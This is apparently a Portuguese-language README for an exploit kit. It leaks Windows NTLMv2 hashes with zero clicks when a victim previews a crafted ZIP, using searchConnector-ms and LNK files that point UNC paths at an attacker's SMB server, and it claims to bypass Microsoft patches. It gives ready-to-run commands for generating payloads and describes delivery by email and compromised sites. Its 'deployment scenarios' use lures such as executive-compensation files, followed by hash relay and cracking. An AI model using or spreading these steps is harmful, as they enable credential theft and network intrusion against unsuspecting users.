Divulgação de Hash NTLMv2-SSP com Zero Click no Windows File Explorer

🎥 Demonstração POC + Bypass do Patch de Março de 2025

Clique na imagem acima para assistir à demonstração da vulnerabilidade

📋 Visão Geral Técnica

Este repositório fornece uma estrutura de pesquisa abrangente analisando a cadeia de vulnerabilidades no processamento de formatos de arquivo do Shell do Windows que leva à divulgação de credenciais NTLMv2-SSP. O kit implementa dois vetores de ataque distintos que exploram a resolução automática de caminhos UNC durante operações de pré-visualização de arquivos no Windows Explorer.

Mecanismo Central da Vulnerabilidade

O problema de segurança fundamental reside no processamento automático pelo Shell do Windows de caminhos UNC embutidos em formatos de arquivo específicos durante operações de pré-visualização. Quando os usuários abrem arquivos ZIP contendo arquivos especialmente criados, o Windows Explorer resolve automaticamente os caminhos UNC sem o consentimento do usuário, iniciando tentativas de autenticação SMB e expondo hashes NTLMv2-SSP a servidores controlados pelo atacante.

Componentes da Superfície de Ataque

• Parsing de Formatos de Arquivo: Processamento automático pelo Shell do Windows de arquivos shell baseados em XML e propriedades de atalhos LNK
• Bypass do Contêiner ZIP: Funcionalidade de pré-visualização de arquivos que contorna as proteções Mark-of-the-Web (MOTW)
• Gatilho de Autenticação: Resolução automática de UNC durante operações de extração de metadados e busca de ícones

🏗️ Evolução da Arquitetura

🔰 Fase 1: Divulgação baseada em SearchConnector (CVE-2025-24054)

Arquivo: ntlm-disclosure-poc.py

Esta implementação inicial explora arquivos Windows Search Connector (.searchConnector-ms), que são arquivos de configuração baseados em XML que definem locais de pesquisa para o Windows Explorer. A vulnerabilidade é acionada quando o Windows processa automaticamente o caminho UNC embutido no elemento simpleLocation durante a operação de pré-visualização de arquivos ZIP.

Características Técnicas:

• Estrutura de payload baseada em XML seguindo as especificações de esquema da Microsoft
• Embutimento de caminho UNC em elementos searchConnectorDescription
• Processamento automático pelo Windows Search Indexer e shell do Explorer
• Contorna restrições tradicionais de execução de arquivos

🔰 Fase 2: Bypass LNK-em-ZIP (CVE-2025-50154 / CVE-2025-59214)

Arquivo: patch_bypass.ps1

Esta técnica aprimorada aborda o patch inicial da Microsoft ao aproveitar as propriedades de arquivos LNK. O ataque explora o comportamento do Windows Explorer de buscar metadados de ícones e resolver caminhos de destino durante a pré-visualização de arquivos ZIP, mantendo o vetor de exploração de zero clique por meio da configuração cuidadosa de propriedades.

Características Técnicas:

• Arquivos LNK com caminhos UNC na propriedade TargetPath
• Referências de ícones locais para contornar mecanismos de detecção iniciais
• Extração automática de propriedades pelo Shell do Windows durante a pré-visualização
• Mantém a legitimidade do formato de arquivo enquanto alcança a resolução UNC

🔧 Pré-requisitos

Para o PoC em Python:

• Python 3.6+
• Pacotes necessários: colorama

Para o PoC em PowerShell:

• Windows PowerShell 5.1+
• Política de Execução: Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser

---

🔰 Fase 1: Implementação Python (CVE-2025-24054)

# Uso básico
python ntml-disclosure-poc.py 192.168.1.100

# Com arquivo de saída personalizado
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Exemplo de saída
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parâmetros
target (obrigatório): Endereço IP ou nome do host de destino
-o, --output: Nome de arquivo de saída personalizado para o pacote ZIP

🔰 Fase 2: Bypass PowerShell (CVE-2025-50154/59214)

# Uso básico - arquivo LNK removido automaticamente
.\bypass.ps1 -IP 192.168.1.100

# Manter arquivo LNK para distribuição externa
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Nome de isca e compartilhamento personalizados
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Especificar diretório de saída
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk

Parâmetros
-IP (obrigatório): Endereço IP do servidor SMB de destino
-Share: Nome do compartilhamento SMB (padrão: 'share')
-File: Nome do arquivo de destino (padrão: 'payload.exe')
-Lure: Nome do arquivo de isca (padrão: 'Your_File_For_Payload_Here')
-OutDir: Diretório de saída (padrão: diretório atual)
-KeepLnk: Preservar o arquivo LNK após a criação do ZIP

Vetor	Mecanismo de Gatilho	Interação do Usuário	Status do Patch
🔗 SearchConnector	Parsing XML + resolução UNC	Abrir ZIP	🛡️ Corrigido
📎 LNK TargetPath	Busca de metadados de ícone	Abrir ZIP	🔴 Ativo

graph TD
    A[🔴 CVE-2025-24054<br/>Vulnerabilidade Inicial] --> B[🛡️ Patch Microsoft]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[🛡️ Patch Microsoft]
    D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
    E --> F[🔴 Estado Atual<br/>Exploração Ativa]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 Especificações Técnicas

1. 📦 Geração de Payload
   • Criar arquivo malicioso (SearchConnector/LNK) com caminho UNC
   • Empacotar em arquivo ZIP com nome atraente
2. 📤 Entrega
   • Distribuir ZIP por e-mail/web/download
3. 💥 Exploração
   • Vítima abre o ZIP no Windows Explorer
   • Pré-visualização automática do arquivo aciona resolução UNC
   • Hash NTLMv2-SSP transmitido para o atacante
4. 🎭 Pós-Exploração
   • Captura de hash e ataques de relay
   • Tentativas de quebra de senhas

---

💀 Cenários de Implantação

📨 Cenário 1: Distribuição Direta de ZIP

# Criar payload ZIP
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Vetores de distribuição:
# - 📧 Anexos de e-mail com iscas de engenharia social
# - ☁️ Serviços de compartilhamento de arquivos comprometidos
# - 🌐 Quedas de compartilhamento de rede em ambientes corporativos

🔄 Cenário 2: Transferência de Arquivo LNK

# Criar e preservar arquivo LNK para implantação em vários hosts
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Implantação entre hosts:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Distribuição baseada na web via sites comprometidos

🎯 Cenário 3: Engenharia Social Direcionada

.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

Contate o Desenvolvedor